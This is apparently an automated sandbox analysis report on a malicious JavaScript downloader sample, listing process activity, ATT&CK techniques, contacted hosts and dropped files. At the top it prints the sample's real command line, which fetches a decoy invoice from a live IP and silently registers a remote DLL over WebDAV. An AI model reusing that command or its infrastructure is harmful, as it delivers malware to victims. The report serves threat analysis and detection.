Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1434827995831320526.js	3%	Virustotal		Browse
1434827995831320526.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888//v	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2966614420.000002807CC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1743360421.000002807CB22000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1743287421.000002304A8E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1740508339.000002304A93D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743287421.000002304A8E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743350644.000002304A923000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743350644.000002304A910000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742968462.000002304A923000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742968462.000002304A910000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1743360421.000002807CB22000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888//v	net.exe, 00000006.00000002.1743350644.000002304A923000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742968462.000002304A923000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587982
Start date and time:	2025-01-10 20:04:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1434827995831320526.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.16.168.125, 52.149.20.212, 96.17.64.171, 13.107.246.44
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:05:20	API Interceptor	25x Sleep call for process: powershell.exe modified
14:05:24	API Interceptor	1x Sleep call for process: net.exe modified
14:05:25	API Interceptor	2x Sleep call for process: svchost.exe modified
14:05:37	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073571189959186
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrw:KooCEYhgYEL0In
MD5:	C0B7AE66B394FF948C4A370545B627C9
SHA1:	4A2033280D7444A6901DBE3B75FDD905FF4A2410
SHA-256:	DA9B29BB774C4667BE3DAB834B1E16F3A2C5776CE82ECA46E0E5058F0BD35B4C
SHA-512:	60F4D8F386516F39CAC2FFBA12FB5E32CCB97D38C74F35643CB4A2701B3D16950D972508353B23637578D219FAE8FE6672B7BC9281326CB4136B7C55887E1700
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6ca5f880, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42214714660549446
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	EC44E5E3D501FFC5778CC3ECDE630522
SHA1:	07D9B2E5FEB2B862B37ECFB673122F707DAB0CCE
SHA-256:	758A2AE1CF6CF0600FD2256E4DDF5D50EAA07659DB4095E14FA22B0D559CF159
SHA-512:	B68246144A40B649925C08AF021DE3EE7C412A9B174D4CA7EEE8AA58CE9B19876B2D592148F9313A0943974C19A0F8166181D00134090784A28E8CF69B404869
Malicious:	false
Preview:	l...... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................y.....}...........................}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07710604338203877
Encrypted:	false
SSDEEP:	3:V8YeLDkkjn13a/g0Ja/allcVO/lnlZMxZNQl:V8zLDh53qgHGOewk
MD5:	D777B15EDC88224987F0D79B30C552C6
SHA1:	D1412562BF6D1ECD7DCD6321F14B2707B73EAF67
SHA-256:	A7B808FC75DBBAE0FA0BAEAA422D5284BBDD7438E1AFD2826886052AF6DD5321
SHA-512:	890D6900DB9E3D464C471B0976C65DFDC8FE3B5EFECBFB56DB6787379946FB4191BE944995F3F1CCC5B82E229B4BE27F64824C36C9BD1306D18E860CFD3DC1B0
Malicious:	false
Preview:	.._......................................;...{.......}.......{A..............{A......{A..........{A].........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.171007710085942
Encrypted:	false
SSDEEP:	6:iO4U4+q2Pwkn2nKuAl9OmbnIFUtSUHWZmwsUDVkwOwkn2nKuAl9OmbjLJ:7t4+vYfHAahFUt7HW/BDV5JfHAaSJ
MD5:	3BB568026ABEB751CE619179F0441F47
SHA1:	CA2A16FE9F831F5E23877169DB7A513443073ACE
SHA-256:	94A48DD6C2C60BDCFB171F45F0F69ED13FA3E6A26F26C501D70F9B04CA6CE689
SHA-512:	8FCCCFDC70F75233A4D9108B4DBCD34E1D6F09766D3D48E6343A44B1BC97D39ADFBC750BC781275F1209C5A79A66632354C73F136833867416EED09595CA506D
Malicious:	false
Preview:	2025/01/10-14:05:24.843 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:05:24.845 1c5c Recovering log #3.2025/01/10-14:05:24.846 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.171007710085942
Encrypted:	false
SSDEEP:	6:iO4U4+q2Pwkn2nKuAl9OmbnIFUtSUHWZmwsUDVkwOwkn2nKuAl9OmbjLJ:7t4+vYfHAahFUt7HW/BDV5JfHAaSJ
MD5:	3BB568026ABEB751CE619179F0441F47
SHA1:	CA2A16FE9F831F5E23877169DB7A513443073ACE
SHA-256:	94A48DD6C2C60BDCFB171F45F0F69ED13FA3E6A26F26C501D70F9B04CA6CE689
SHA-512:	8FCCCFDC70F75233A4D9108B4DBCD34E1D6F09766D3D48E6343A44B1BC97D39ADFBC750BC781275F1209C5A79A66632354C73F136833867416EED09595CA506D
Malicious:	false
Preview:	2025/01/10-14:05:24.843 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:05:24.845 1c5c Recovering log #3.2025/01/10-14:05:24.846 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.129256276560912
Encrypted:	false
SSDEEP:	6:iO4z9Wmmq2Pwkn2nKuAl9Ombzo2jMGIFUtSz9CZmwsz9SKkwOwkn2nKuAl9Ombzz:7o9+vYfHAa8uFUtC9C/09p5JfHAa8RJ
MD5:	18B6AA7A0C9AB05C991FE0156F5A8143
SHA1:	4A2F5D254DBD81D09F8E11468620DD8989E296B3
SHA-256:	21C08C3B56BF3BCD8FD18A8068F21E9E1DD76966C96DBBB3654D310BE82F2D15
SHA-512:	ED19AB701148F919E73CAFEB29C4703B2075D851C36FAB6A23D0AC2D59E8AF820FC3271EA2008CF5D10D41D2979A269B225011D16DB770DD8139C5BFB59CB34A
Malicious:	false
Preview:	2025/01/10-14:05:25.023 900 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:05:25.026 900 Recovering log #3.2025/01/10-14:05:25.027 900 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.129256276560912
Encrypted:	false
SSDEEP:	6:iO4z9Wmmq2Pwkn2nKuAl9Ombzo2jMGIFUtSz9CZmwsz9SKkwOwkn2nKuAl9Ombzz:7o9+vYfHAa8uFUtC9C/09p5JfHAa8RJ
MD5:	18B6AA7A0C9AB05C991FE0156F5A8143
SHA1:	4A2F5D254DBD81D09F8E11468620DD8989E296B3
SHA-256:	21C08C3B56BF3BCD8FD18A8068F21E9E1DD76966C96DBBB3654D310BE82F2D15
SHA-512:	ED19AB701148F919E73CAFEB29C4703B2075D851C36FAB6A23D0AC2D59E8AF820FC3271EA2008CF5D10D41D2979A269B225011D16DB770DD8139C5BFB59CB34A
Malicious:	false
Preview:	2025/01/10-14:05:25.023 900 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:05:25.026 900 Recovering log #3.2025/01/10-14:05:25.027 900 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\73f157bd-b35e-4fcf-aace-a8a1cc7751d4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqNWsBdOg2Hpzcaq3QYiubInP7E4T3y:Y2sRdsIdMHo3QYhbG7nby
MD5:	10E10E8342D5967389A0CCFCC3429E16
SHA1:	F94C670A0D4871BA78B26559D316CE74793C6A23
SHA-256:	F260FF14E76D76952DFCAF217E100ADCA555E35E188C9509292B92B0936AB2C4
SHA-512:	9AB927CEDB794B0C223495CDCCF285D5A2C52CCBE4F52EAACD949776579A569DF539A31CAC99E3B48B461166896AB032EDE85FE1F5EFA6E70C8633AF63855F26
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381095937743489","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123706},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqNWsBdOg2Hpzcaq3QYiubInP7E4T3y:Y2sRdsIdMHo3QYhbG7nby
MD5:	10E10E8342D5967389A0CCFCC3429E16
SHA1:	F94C670A0D4871BA78B26559D316CE74793C6A23
SHA-256:	F260FF14E76D76952DFCAF217E100ADCA555E35E188C9509292B92B0936AB2C4
SHA-512:	9AB927CEDB794B0C223495CDCCF285D5A2C52CCBE4F52EAACD949776579A569DF539A31CAC99E3B48B461166896AB032EDE85FE1F5EFA6E70C8633AF63855F26
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381095937743489","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123706},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.24767480481647
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7SpBtzz:etJCV4FiN/jTN/2r8Mta02fEhgO73goK
MD5:	F545BC04F2292867E9CECC1E28F49AFC
SHA1:	C145A30DBBC8ADD0E2C8F9C4943142335EF7D2A5
SHA-256:	7E8EA09D1D26F9DAD8B804C8F0559FA649A28CAD2666C56C2EA5CB16B9C6A228
SHA-512:	A6D98C1C3D5115CDC0C0F88089DB10F5F27F0EAE5ED76B1508184BB20C7CE7F6EE64724635008DB572B166AAD5D26BDE973F596808BF83C3892A9312E6C59855
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.118469601957611
Encrypted:	false
SSDEEP:	6:iO4z3cmmq2Pwkn2nKuAl9OmbzNMxIFUtSzCXZmwsz77kwOwkn2nKuAl9OmbzNMFd:7oVmvYfHAa8jFUtCi/0P5JfHAa84J
MD5:	D07AE56CD8FC6121035553BE5A49DC1B
SHA1:	53BBD8557D8635968B4B9BBB0AD87BFD11AE54C0
SHA-256:	887D27B5115174B1AB6CE717F2F15F19532E431821D28EA5D8617F1DB36C44A7
SHA-512:	03DF29DDCF164E22EAA88580978F161A764B474240D4A3D93EDA4C64715CFD0910355BB9DFB1EBF34BDD96D2B5882CAA4D9FD36FBD5CE47A1A7BAD2B5B1C3EA7
Malicious:	false
Preview:	2025/01/10-14:05:25.089 900 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:05:25.091 900 Recovering log #3.2025/01/10-14:05:25.092 900 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.118469601957611
Encrypted:	false
SSDEEP:	6:iO4z3cmmq2Pwkn2nKuAl9OmbzNMxIFUtSzCXZmwsz77kwOwkn2nKuAl9OmbzNMFd:7oVmvYfHAa8jFUtCi/0P5JfHAa84J
MD5:	D07AE56CD8FC6121035553BE5A49DC1B
SHA1:	53BBD8557D8635968B4B9BBB0AD87BFD11AE54C0
SHA-256:	887D27B5115174B1AB6CE717F2F15F19532E431821D28EA5D8617F1DB36C44A7
SHA-512:	03DF29DDCF164E22EAA88580978F161A764B474240D4A3D93EDA4C64715CFD0910355BB9DFB1EBF34BDD96D2B5882CAA4D9FD36FBD5CE47A1A7BAD2B5B1C3EA7
Malicious:	false
Preview:	2025/01/10-14:05:25.089 900 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:05:25.091 900 Recovering log #3.2025/01/10-14:05:25.092 900 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444945664805204
Encrypted:	false
SSDEEP:	384:yezci5t2iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r5s3OazzU89UTTgUL
MD5:	51EFB2D911F6D2D03D434AC790593F82
SHA1:	1B7E2E4EF3FAA37A2E7F0E54C815674752F710AE
SHA-256:	B6134CD4BD218F34493DD744EFC7263C4393B5C7AA6168089163C311FF9CBF98
SHA-512:	B4652AF4914BF15A0B5F86937C07C42D15737D65010A9935B3DECD8B0FB917ED07B19C5EC3FD44BBA9B9A8A7FCBE9B5A056E4ACE3E9FCDF136C193163DBB90A5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.776384283613556
Encrypted:	false
SSDEEP:	48:7MsWp/E2ioyV5ioy9oWoy1Cwoy1hKOioy1noy1AYoy1Wioy1hioybioyNoy1noyZ:7upju5FYXKQQub9IVXEBodRBkc
MD5:	BE7EB4AB7F0DDCF10F7BC5242D564E15
SHA1:	3AE06A1D572A08BE6B19A17391A1083DD95A1DDD
SHA-256:	A839E3AC4F9C56B2230A72C02F1CED7DEF7B31D8B67FDDB1CD1028751CD07939
SHA-512:	240AC02A6878D61BF1D2197F805A1BB5073458608406DB2784036476F000E358885BA4E2CE5A0AA03783186C743B18694732D0D6629D4118BCDE8A3B44D96525
Malicious:	false
Preview:	.... .c.......#...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
